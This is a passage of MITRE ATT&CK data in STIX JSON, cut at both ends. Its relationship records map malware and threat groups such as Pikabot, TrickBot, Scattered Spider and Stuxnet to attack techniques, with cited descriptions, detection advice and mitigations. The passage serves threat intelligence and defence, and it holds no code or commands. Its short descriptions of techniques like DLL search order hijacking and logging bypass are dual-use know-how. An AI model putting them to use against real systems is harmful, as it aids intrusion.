2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:28:58.277Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) stops execution if the infected system language matches one of several languages, with various versions referencing: Georgian, Kazakh, Uzbek, Tajik, Russian, Ukrainian, Belarussian, and Slovenian.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dbeb509e-58a9-41f9-bd08-95b3b1075edf","created":"2022-04-15T18:56:56.672Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader has reflectively loaded .NET-based assembly/payloads into memory.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:53:54.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbec2814-4a92-4ab7-a007-123b40b16d0b","created":"2024-04-18T15:25:34.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T15:31:12.348Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used phone calls to instruct victims to navigate to credential-harvesting websites.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) has also called employees at target organizations and compelled them to navigate to fake login portals using adversary-in-the-middle toolkits.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.123Z","description":"The reconnaissance modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network configuration.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbf14695-c904-493b-ae94-51d856a3106a","created":"2022-04-19T03:14:34.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:58:35.984Z","description":"Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.\n\nNote: Sysmon Event ID 6 (driver load) provides information on whether the loaded driver was signed with a valid signature (via the Signature and SignatureStatus fields). As such, one way to help reduce the volume of alerts and false positives associated with this event is to filter and exclude any driver load events signed by common and legitimate publishers like Microsoft. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbf65e94-35f3-4297-b99c-7f9b0323586c","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbf985a6-4e02-4f1f-a323-3169e4c3c9e0","type":"relationship","created":"2019-01-30T17:48:35.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.196Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can launch command-line shells.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbfabc52-92a7-4814-aec8-27f2afe816e5","created":"2022-10-13T14:48:13.789Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:48:13.789Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has used a variety of Windows API functions.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc059a21-6a00-4b04-ac54-23f9a76f4f4b","created":"2023-12-06T20:13:08.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Dell SecureWorks BRONZE STARLIGHT Profile","description":"SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.","url":"https://www.secureworks.com/research/threat-profiles/bronze-starlight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T19:04:28.178Z","description":"(Citation: Microsoft Ransomware as a Service)(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc0cf30b-ec44-4b5a-8c45-f93e48974a05","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.264Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc10559e-6a98-4a5f-abcd-adff67bfb1cd","created":"2024-03-25T20:55:21.239Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:55:21.239Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) stages data in a centralized database prior to exfiltration.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc107dd0-bf7c-4b8d-9262-e487a1ac9f2c","created":"2022-10-13T20:21:04.270Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:21:04.270Z","description":"(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.422Z","description":"[APT28](https://attack.mitre.org/groups/G0007) added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc187ed1-3987-4575-b1af-dc150e4329f8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-11T17:45:18.406Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc19b319-1c17-45f0-9881-9bf2ac8a2611","created":"2020-12-14T17:34:58.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:15:13.126Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) schedules a network job to execute two minutes after host infection.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc1b1842-ce36-46ec-83d5-66292d65c463","type":"relationship","created":"2020-02-20T17:14:40.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-16T22:44:25.046Z","description":"Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc2b58dd-1052-4860-8e14-5650ab8eecfd","type":"relationship","created":"2019-01-29T21:33:34.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.928Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc309013-0487-47fa-b514-71e18344a2db","type":"relationship","created":"2021-10-01T14:12:52.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Joe Sec Trickbot","url":"https://www.joesecurity.org/blog/498839998833561473","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}],"modified":"2021-10-01T14:12:52.909Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has used Nt* [Native API](https://attack.mitre.org/techniques/T1106) functions to inject code into legitimate processes such as wermgr.exe.(Citation: Joe Sec Trickbot)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc37d868-23ec-41f1-a945-b3f3312294e6","created":"2023-02-21T21:04:54.874Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T21:04:54.874Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should be focused on initial access activities, such as drive by compromise where ad blocking adblockers can help prevent malicious code from executing.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc40e665-d4fd-4e44-a101-efe4c1d950e0","created":"2022-01-12T14:23:46.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:54.000Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) has the ability to use encapsulated HTTP/S in C2 communications.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc434717-4497-4832-a1ff-d8f376022ff4","created":"2024-05-17T20:23:39.837Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:23:39.837Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) captures credentials by recording them through an alternative network listener registered to the mpnotify.exe process, allowing for cleartext recording of logon information.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc4bc74b-cd60-4853-a436-8d5e34b01564","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.328Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d","type":"relationship","created":"2018-01-16T18:59:16.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.254Z","description":"(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc509494-ad76-4986-b6bd-39a30f1d9336","type":"relationship","created":"2022-03-29T17:28:04.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-29T17:28:04.658Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can bypass ScriptBlock logging to execute unmanaged PowerShell code from memory.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc577c9d-db95-4dcb-ad15-5bb980f3aefb","type":"relationship","created":"2020-03-09T14:51:11.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-28T00:58:55.546Z","description":"Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc595175-bd4d-4409-829b-43c42b762647","created":"2023-04-11T22:39:50.431Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:39:50.431Z","description":"Anti-virus can be used to automatically quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc5a3635-08a0-4321-9d26-930fbe2a3fb5","type":"relationship","created":"2020-01-24T14:54:42.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:54:42.876Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc6119c4-8330-457c-9cf3-c90ac6e42221","created":"2023-07-10T17:03:44.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T22:12:54.887Z","description":"Monitor for unexpected process activity associated with utilities that can access and export logs, such as `wevutil.exe` on Windows and `CollectGuestLogs.exe` on Azure hosted 